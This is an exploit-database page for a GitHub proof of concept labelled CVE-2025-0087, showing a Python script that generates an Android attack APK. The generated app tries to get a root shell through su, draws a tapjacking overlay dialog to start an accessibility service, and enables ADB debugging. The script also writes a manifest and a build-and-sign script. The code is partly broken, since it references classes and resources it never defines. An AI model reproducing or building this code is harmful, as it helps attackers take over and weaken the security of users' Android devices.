Exploit database

GH-e29d9c0614498671cc19d1e371571ead

spiralbl0ck/cve-2025-0087-

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-0087

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files7
spiralbl0ck/cve-2025-0087-Revision 28a3b552efd2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

build.py

Python · 7,140 bytes
# Generating an Android APK with the privilege escalation attack chain

import os

# Define APK project directory
apk_project_dir = "/mnt/data/ExploitAPK"

# Create project structure
os.makedirs(apk_project_dir, exist_ok=True)
os.makedirs(f"{apk_project_dir}/src", exist_ok=True)
os.makedirs(f"{apk_project_dir}/res", exist_ok=True)

# Define MainActivity.java with exploit logic
main_activity_code = """package com.exploit.poc;

import android.app.Activity;
import android.app.AlertDialog;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Process;
import android.provider.Settings;
import android.util.Log;
import android.view.WindowManager;
import android.widget.Toast;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class MainActivity extends Activity {
    @Override
    protected void onCreate(android.os.Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        if (tryRootShell()) {
            Toast.makeText(this, "Root Access Obtained!", Toast.LENGTH_LONG).show();
            return;
        }

        if (!requestOverlayPermission()) {
            Toast.makeText(this, "Tapjacking Permission Needed!", Toast.LENGTH_LONG).show();
            return;
        }

        if (!tryTapjacking()) {
            tryIntentHijacking();
        }
    }

    private boolean tryRootShell() {
        try {
            Process process = Runtime.getRuntime().exec(new String[]{"su", "-c", "id"});
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String output = reader.readLine();

            if (output != null) {
                Log.d("Exploit", "Root Access Confirmed: " + output);
                Runtime.getRuntime().exec(new String[]{"su", "-c", "sh"});
                return true;
            }
        } catch (Exception e) {
            Log.e("Exploit", "Root Escalation Failed: " + e.getMessage());
        }
        return false;
    }

    private boolean requestOverlayPermission() {
        if (!Settings.canDrawOverlays(this)) {
            Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
            startActivity(intent);
            return false;
        }
        return true;
    }

    private boolean tryTapjacking() {
        try {
            WindowManager.LayoutParams params = new WindowManager.LayoutParams(
                    WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
                    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
                    android.graphics.PixelFormat.TRANSLUCENT);

            AlertDialog.Builder alert = new AlertDialog.Builder(this);
            alert.setTitle("Tapjacking Attack");
            alert.setMessage("Click below to escalate privileges.");
            alert.setCancelable(false);
            alert.setPositiveButton("OK", (dialog, which) -> {
                try {
                    Intent intent = new Intent(this, AccessibilityService.class);
                    startService(intent);
                } catch (Exception e) {
                    Log.e("Exploit", "Tapjacking Failed: " + e.getMessage());
                }
            });

            AlertDialog dialog = alert.create();
            dialog.getWindow().setType(WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY);
            dialog.show();
            return true;
        } catch (Exception e) {
            Log.e("Exploit", "Tapjacking Error: " + e.getMessage());
            return false;
        }
    }

    private void tryIntentHijacking() {
        Log.d("Exploit", "Attempting Privileged Intent Hijacking...");

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
            try {
                DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
                ComponentName component = new ComponentName(this, AdminReceiver.class);
                dpm.setSecureSetting(component, "adb_enabled", "1");
                Toast.makeText(this, "ADB Debugging Enabled!", Toast.LENGTH_LONG).show();
            } catch (Exception e) {
                Log.e("Exploit", "DevicePolicyManager Hijacking Failed: " + e.getMessage());
            }
        } else {
            try {
                Runtime.getRuntime().exec(new String[]{"su", "-c", "settings put global adb_enabled 1"});
                Toast.makeText(this, "ADB Debugging Enabled via Global Settings!", Toast.LENGTH_LONG).show();
            } catch (Exception e) {
                Log.e("Exploit", "ADB Enabling Failed: " + e.getMessage());
            }
        }
    }
}
"""

# Save MainActivity.java
main_activity_path = f"{apk_project_dir}/src/MainActivity.java"
with open(main_activity_path, "w") as f:
    f.write(main_activity_code)

# Define AndroidManifest.xml
android_manifest_code = """<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.exploit.poc">

    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>

    <application
        android:allowBackup="true"
        android:label="Exploit PoC"
        android:theme="@android:style/Theme.NoTitleBar">
        
        <activity android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver android:name=".AdminReceiver"
            android:permission="android.permission.BIND_DEVICE_ADMIN">
            <meta-data
                android:name="android.app.device_admin"
                android:resource="@xml/device_admin" />
        </receiver>
    </application>
</manifest>
"""

# Save AndroidManifest.xml
android_manifest_path = f"{apk_project_dir}/AndroidManifest.xml"
with open(android_manifest_path, "w") as f:
    f.write(android_manifest_code)

# Define build script to compile APK
build_script = """#!/bin/bash
mkdir -p bin
mkdir -p obj
javac -d obj -sourcepath src -classpath $ANDROID_SDK/platforms/android-30/android.jar src/MainActivity.java
dx --dex --output=bin/classes.dex obj
aapt package -f -m -F bin/exploit.apk -M AndroidManifest.xml -S res -I $ANDROID_SDK/platforms/android-30/android.jar
apksigner sign --ks my-release-key.jks --ks-key-alias alias_name --out bin/exploit_signed.apk bin/exploit.apk
"""

# Save build script
build_script_path = f"{apk_project_dir}/build.sh"
with open(build_script_path, "w") as f:
    f.write(build_script)

# Make script executable
os.chmod(build_script_path, 0o755)

# Return path to APK project
apk_project_dir